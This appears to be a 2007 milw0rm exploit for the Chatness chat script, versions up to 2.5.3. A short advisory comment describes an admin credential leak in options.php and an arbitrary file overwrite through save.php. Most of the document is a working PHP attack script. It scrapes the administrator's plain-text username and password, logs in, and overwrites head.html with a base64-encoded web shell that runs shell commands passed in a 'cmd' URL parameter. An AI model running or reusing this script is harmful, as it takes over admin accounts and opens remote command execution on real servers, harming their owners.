477bcbdcc0
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100 lines
3.7 KiB
PHP
Executable file
100 lines
3.7 KiB
PHP
Executable file
<?/*
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Files: options.php, save.php
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Affects: Chatness <= 2.5.3
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Date: 12th April 2007
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Issue Description:
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===========================================================================
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Chatness suffers with two main vulnerabilities, the first of these in
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/admin/options.php the problems occur because the script first fails to
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verify if the user is in fact an administrator and secondly it prints the
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administrators username and password in plain text as part of the pre-filled
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form.
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The second issue occurs in /admin/save.php and /index.php while save.php
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limits writing to just .html extended filenames it is possible for an
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attacker to overwrite either foot.html or head.html to contain arbitrary php
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code which would then be executed when included by index.php
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===========================================================================
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Scope:
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===========================================================================
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Combined these two seperate issues will allow an attacker to gain access to
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the system and execute code/commands of their choice.
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===========================================================================
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Recommendation:
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===========================================================================
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Until a patch is availible it would be advisable to chmod both foot.html
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and head.html to a mode that makes them unwritable by the web server, this
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will minimize the risk of arbitrary code execution.
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===========================================================================
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Discovered By: Gammarays
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*/?>
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<?php
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echo "########################################################\n";
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echo "# Special Greetings To - Timq,Warpboy,The-Maggot #\n";
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echo "########################################################\n\n\n";
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$payload = "JTNDJTNGcGhwK2lmJTI4aXNzZXQlMjglMjRfR0VUJTVCJTI3Y21kJTI3JTVEJTI5JTI5JTdCZWNobytzaGVsbF9leGVjJTI4dXJsZGVjb2RlJTI4JTI0X0dFVCU1QiUyN2NtZCUyNyU1RCUyOSUyOSUzQmRpZSUyOCUyOSUzQiU3RCUzRiUzRQ==";
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$payload = base64_decode($payload);
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if($argc!=2) die("Usage: <url> \n\tEx: http://www.example.com/chatness/\n");
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$url = $argv[1];
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$ch = curl_init($url . "admin/options.php");
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if(!$ch) die("Error Initializing CURL");
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echo "[ ] Attempting To Fetch Admin Login...\n";
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curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
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$res = curl_exec($ch);
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if(!$res) die("Error Connecting To Target");
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$httpresult = curl_getinfo($ch,CURLINFO_HTTP_CODE);
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if($httpresult!=200) die("Error - URL Appears To Be Incorrect");
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//Not good - but it works...sometimes
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$junkarray = explode("id=",$res);
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$junkarray = explode("\"",$junkarray[14]);
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$username = $junkarray[3];
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$junkarray = explode("id=",$res);
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$junkarray = explode("\"",$junkarray[15]);
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$password = $junkarray[3];
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echo "[ ] Found Username And Password - ".$username." / ".$password."\n";
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echo "[ ] Logging In...\n";
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//Login
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curl_setopt($ch, CURLOPT_URL,$url . "admin/login.php");
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curl_setopt($ch, CURLOPT_COOKIEJAR, "mrcookie.dat");
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curl_setopt($ch, CURLOPT_POST,1);
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curl_setopt($ch,
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CURLOPT_POSTFIELDS,"user=".$username."&pass=".$password."&submit=Login");
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$res = curl_exec($ch);
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if(!res) die("Error Connecting To Target");
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$httpresult = curl_getinfo($ch,CURLINFO_HTTP_CODE);
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if($httpresult==200) die("Error Invalid Username/Password");
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echo "[ ] Login Succeeded..\n";
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//Deploy Main Payload
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curl_setopt($ch, CURLOPT_URL,$url . "admin/save.php?file=head");
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curl_setopt($ch, CURLOPT_COOKIEFILE, "mrcookie.dat");
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curl_setopt($ch, CURLOPT_POSTFIELDS,"html=".$payload);
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$res = curl_exec($ch);
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if(!res) die("Error Connecting To Target");
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echo "[ ] Payload Deployed\n";
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echo "[ ] Shell Accessible at ".$url."index.php?cmd=<yourcommand>";
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curl_close($ch);
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?>
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# milw0rm.com [2007-04-12]
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